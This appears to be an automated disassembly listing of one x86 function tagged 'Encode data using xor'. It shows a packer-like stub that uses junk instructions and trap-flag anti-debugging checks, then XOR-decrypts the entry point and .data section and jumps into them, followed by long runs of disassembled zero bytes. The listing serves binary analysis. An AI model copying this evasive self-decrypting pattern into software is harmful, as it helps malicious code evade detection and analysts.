Function at 0x408b5f
Capabilities:
Encode data using xor

Disassembly:
pop ebp
push eax
pushfd
pop eax
test ah, 1
jne 0x408b66
pop eax
or ax, 0
add bp, 0
mov ah, ah
mov eax, eax
mov ah, ah
or bx, 0
jmp 0x408b7e
cld
xor sp, 0
cld
cld
sub ebp, 0x401005
nop
push eax
pushfd
pop eax
test ah, 1
jne 0x408b92
pop eax
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408b9b
pop ebx
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408ba4
pop ebx
cld
xchg ch, ch
add cx, 0
cld
cld
lea esi, [ebp + 0x40112b]
add dx, 0
nop
nop
cld
mov ebx, 0x27c
add ax, 0
nop
mov ah, ah
nop
push eax
pushfd
pop eax
test ah, 1
jne 0x408bd0
pop eax
xchg bl, bl
mov al, al
jmp 0x408bda
sub ah, 0
jmp 0x408be0
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408be6
pop ebx
nop
cld
nop
mov dl, byte [esi]
cld
add edi, 0
xor cl, 0
mov ch, ch
push eax
pushfd
pop eax
test ah, 1
jne 0x408bfd
pop eax
xor ecx, 0
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408c09
pop ecx
ror dl, 0x68
nop
add ebp, 0
cld
cld
cld
mov byte [esi], dl
jmp 0x408c1b
add si, 0
jmp 0x408c22
add ebx, 0
xchg bh, bh
jmp 0x408c2a
or esp, 0
jmp 0x408c30
add sp, 0
or si, 0
nop
cld
cld
dec ebx
cld
add edi, 0
jmp 0x408c43
jmp 0x408c46
cld
mov cl, cl
or al, 0
sub di, 0
mov edx, edx
jmp 0x408c54
jmp 0x408c57
jmp 0x408c5a
add cx, 0
or ah, 0
add dx, 0
nop
inc esi
xor dx, 0
nop
cld
test ebx, ebx
jne 0x408bec
pushal
mov esi, entry0
mov eax, 0x8b565108
mov dword [esi], eax
mov eax, 0xf712b575
mov dword [esi + 4], eax
mov eax, 0x109578
mov dword [esi + 8], eax
mov eax, 0xf629139
mov dword [esi + 0xc], eax
mov eax, 0x832d5b2
mov dword [esi + 0x10], eax
mov eax, 0x1032c5b2
mov dword [esi + 0x14], eax
mov eax, 0x3ae93b0
mov dword [esi + 0x18], eax
popal
jmp 0x408cb7
pushal
pushfd
mov esi, entry0
mov edi, esi
mov ecx, 0xcba
mov ebx, 0x169139
lodsd eax, dword [esi]
xor eax, ebx
stosd dword es:[edi], eax
loop 0x408cca
popfd
popal
jmp 0x408cd6
pushal
pushfd
mov esi, section..data
mov edi, esi
mov ecx, 0x6e8
mov ebx, 0x169139
lodsd eax, dword [esi]
xor eax, ebx
stosd dword es:[edi], eax
loop 0x408ce9
popfd
popal
mov edi, 0x4011cb
call edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add ah, bh
sub si, 0
xchg bx, bx
jmp 0x408efc
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408f02
pop ecx
mov dx, dx
add bp, 0
jmp 0x408f0f
sub dl, 0
xor dx, 0
nop
jmp 0x408f1a
or di, 0
cld
mov edx, edx
xor cl, 0
add di, 0
jmp 0x408f2b
add dh, 0
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408f34
pop ebx
jmp 0x408f3a
nop
nop
mov cl, cl
or bl, 0
cld
mov cx, cx
mov cx, cx
jmp 0x408f4b
push edx
pushfd
pop edx
test dh, 1
jne 0x408f51
pop edx
jmp 0x408f57
xchg cx, cx
mov bl, bl
cld
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408f63
pop ebx
xchg ecx, ecx
xchg ebp, ebp
cld
cld
sub bp, 0
jmp 0x408f73
add bl, 0
cld
xor ebp, 0
nop
xchg esp, esp
cld
cld
cld
mov dh, dh
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408f88
pop ebx
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408f91
pop ecx
sub bp, 0
mov al, al
jmp 0x408f9d
sub si, 0
mov ebp, ebp
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408fa9
pop ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al